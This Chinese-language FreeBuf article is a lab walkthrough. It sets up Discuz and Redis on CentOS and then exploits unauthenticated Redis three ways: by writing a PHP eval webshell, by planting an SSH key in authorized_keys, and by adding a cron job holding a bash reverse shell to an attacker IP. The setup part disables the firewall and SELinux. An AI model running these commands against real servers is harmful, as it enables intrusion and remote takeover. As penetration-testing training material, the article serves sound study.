freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Redis漏洞利用与SSH免密反弹Shell
2025-01-03 14:58:22
所属地 四川省

本篇文章将详细介绍如何通过 Redis 服务漏洞进行 WebShell 写入,利用 SSH 公钥实现免密登录,并利用计划任务反弹 Shell 的过程,尤其适用于渗透测试与靶场搭建。我们将按步骤逐一讲解每个环节的操作技巧与防御措施,以帮助安全研究人员理解并应对这些攻击手段。

靶场搭建

环境简介

centos-1 192.168.29.158
centos-2 192.168.29.165
靶场:discuz

centos-1搭建过程:

搭建discuz
首先搭建apache服务器
yum install -y httpd httpd-devel
service httpd.service start //开启apache服务
service httpd.service status //查看apache状态

1735886813_677787dd4a568f6a9156b.png!small?1735886813531

yum -y install mariadb mariadb-server mariadb-libs mariadb-devel //安装
service mariadb.service start //启动mariadb服务
service mariadb.service status //查看状态
netstat -an //查看端口

1735886822_677787e6a871edd3dc924.png!small?1735886822796

安装php,将php和mysql关联起来
yum install -y php
yum -y install php-mysql
#### 将下载的discuz放到/var/www/html下

ps:网盘中的discuz没有discuz文件,只会有其他文件,所以其他在/var/www/html下创建个discuz文件夹
chown apache:apache -R upload/   //赋予所属组
chmod -R 777 upload/  //赋予可读可写可执行权限
service httpd.service restart //这里如果已经安装了httpd就重启一下服务就好
service mariadb.service restart //同上
service firewalld stop //关闭防火墙

1735886846_677787fe2f475a1ce6a54.png!small?1735886846674

这里都是不可写,需要修改/etc/selinux/config,修改完重启虚拟机 reboot
重启完成后开启apache服务和mariadb服务,再次访问就是可写

1735886855_67778807d4445ea3c23b7.png!small?1735886856170

vim /etc/selinux/config

1735886866_6777881284a7a7a846045.png!small?1735886866680

**reboot 重启**
**重启下http服务和mariadb服务**

service httpd.service restart //这里如果已经安装了httpd就重启一下服务就好
service mariadb.service restart //同上
service firewalld stop //关闭防火墙

1735886874_6777881a8c420f3bafb9c.png!small?1735886874689

1735886881_67778821ddfdb2a2d7a66.png!small?1735886881924

数据库密码设置为空,因为我们没有设置密码  
管理员密码任意

1735886893_6777882d8eb995ac92804.png!small?1735886893699

1735886901_677788352a21fdeda7fe7.png!small?1735886901184

redis搭建
1.下载redis包 解压进入redis目录 
2.make编译
3.然后编译完成进入/src目录 
4.将redis-cli redis-server复制到/usr/local/bin目录下,如此可以在任意目录下运行redis服务

报错问题解决方案

第一次执行make时候,出现以下报错,解决方案为安装gcc
make[3]: gcc:命令未找到
make[3]: *** [net.o] 错误 127
make[3]: 离开目录“/usr/local/src/redis-5.0.8/deps/hiredis”
make[2]: *** [hiredis] 错误 2
make[2]: 离开目录“/usr/local/src/redis-5.0.8/deps”
make[1]: [persist-settings] 错误 2 (忽略)
    CC adlist.o
/bin/sh: cc: 未找到命令
make[1]: *** [adlist.o] 错误 127
make[1]: 离开目录“/usr/local/src/redis-5.0.8/src”
make: *** [all] 错误 2

解决:yum -y install gcc gcc-c++

第二次执行时候,报错以下内容
zmalloc.h:50:31: 致命错误:jemalloc/jemalloc.h:没有那个文件或目录

解决方案为: make MALLOC=libc

cd到src目录下  
cd /src

1735886911_6777883f28e51f8f69563.png!small?1735886911180

执行redis-server,出现以下界面说明搭建成功一半,另一半自己重新开一个终端,执行redis-cli ,出现第二张图示例说明搭建成功

1735886917_67778845ddc058801514b.png!small?1735886918157

1735886935_67778857b020e179b6b18.png!small?1735886935554

centos-2搭建过程:

只需要安装下redis服务,重复以上操作即可,或者直接克隆一个即可。

利用 Redis 写入Webshell

环境简介

写入webshell,未授权访问centos-1
ps:看下centos开启redis没有,开启下服务 redis-server
redis-cli -h 192.168.29.158

1735886954_6777886a589282ca1310f.png!small?1735886954567

192.168.29.158:6379> config set dir /var/www/html/ 
OK
192.168.29.158:6379> config set dbfilename shell.php
OK
192.168.29.158:6379> set xxx "<?php eval($_POST[pass]);?>" 
OK
192.168.29.158:6379> save
OK
192.168.29.158:6379>

ps:在第三步的时候也可以使用

set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"

访问成功写入

1735886969_67778879a1ce2d5dca9fe.png!small?1735886969593

1735886977_677788817903a5161cc97.png!small?1735886977458

利用 Redis 写入 SSH 公钥进行登录

环境简介

kali 192.168.29.128
靶机 192.168.29.158
kali安装redis,使用上面的redis安装包,解压后直接编译就行,编译命令:make
接着将 /src 目录下的 redis-server 和 redis-cli 复制到 /usr/local/bin 下即可

Ps: 需要重新开一个终端,不然在之前开启的终端上输入: redis-cli 还是红色

首先在攻击机的/root/.ssh目录里生成ssh公钥key:
ssh-keygen -t rsa  选项全部默认即可

接着将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合)

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt

1735886985_67778889d5db7ee2f3665.png!small?1735886986012

将key.txt文件内容写入服务端Redis的缓冲里:

cat /root/.ssh/key.txt | redis-cli -h 192.168.43.82 -x set xxx

1735886994_677788923c5dca9834097.png!small?1735886994193

使用攻击机连接目标机器Redis,设置Redis的备份路径为/root/.ssh/和保存文件名为authorized\_keys,并将数据保存在目标服务器硬盘上

但是执行的时候,发现报错,提示内容为:
(error) ERR Changing directory: No such file or directory
意味着:没有这样的文件或目录

1735887007_6777889f247c67316843e.png!small?1735887009040

原因是我centos(192.168.29.158)没有启动过ssh,所以没有那个目录,使用命令: ssh localhost 即可

1735887031_677788b72e0f0e8f96331.png!small?1735887031196
完整命令:

redis-cli -h 192.168.29.158
config set dir /root/.ssh
config set dbfilename authorized_keys
save

1735887038_677788be31d6a531a9fe4.png!small?1735887038292

ssh 成功实现公钥登录

1735887044_677788c49530d4f007322.png!small?1735887044754

利用 Redis 写入计划任务反弹shell

环境简介

首先在攻击机kali上开启监听:
nc -lvp 2333

然后连接服务端的Redis,写入反弹shell的计划任务:

redis-cli -h 192.168.29.158
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.29.128/2333 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save

Ps:这个方法只能Centos上使用,Ubuntu上行不通,原因如下:

因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw———-才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行

因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

由于系统的不同,crontrab定时文件位置也会不同:

Centos的定时任务文件在/var/spool/cron/<username>

Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>

复现过程

redis-cli -h 192.168.29.158
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.29.128/2333 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save
个人理解:这里它写的路径为 /var/spool/cron/crontabs 
要么就是创建crontabs
要么就是在这个目录下创建机会任务

但是使用 config set dir /var/spool/cron/crontabs/ 现实没有这个目录,那么就排除是创建的意思
因为在靶场上 /var/spool/cron 这个目录是默认是存在的, /var/spool/cron/crontabs默认是不存在的

1735887105_6777890180281b05b73db.png!small?1735887105488
最终实操:将目录更改为 /var/spool/cron 即可

1735887111_67778907965d0f833202e.png!small?1735887111535

通过计划任务,成功反弹shell

1735887118_6777890e6013e2e19a91c.png!small?1735887118674

靶机上也看到存在计划任务

1735887130_6777891aefb7efc7d2801.png!small?1735887130865

使用 crontab -r 删除计划任务
crontab -l 查看计划任务
# 漏洞 # 渗透测试 # 黑客 # 网络安全 # web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录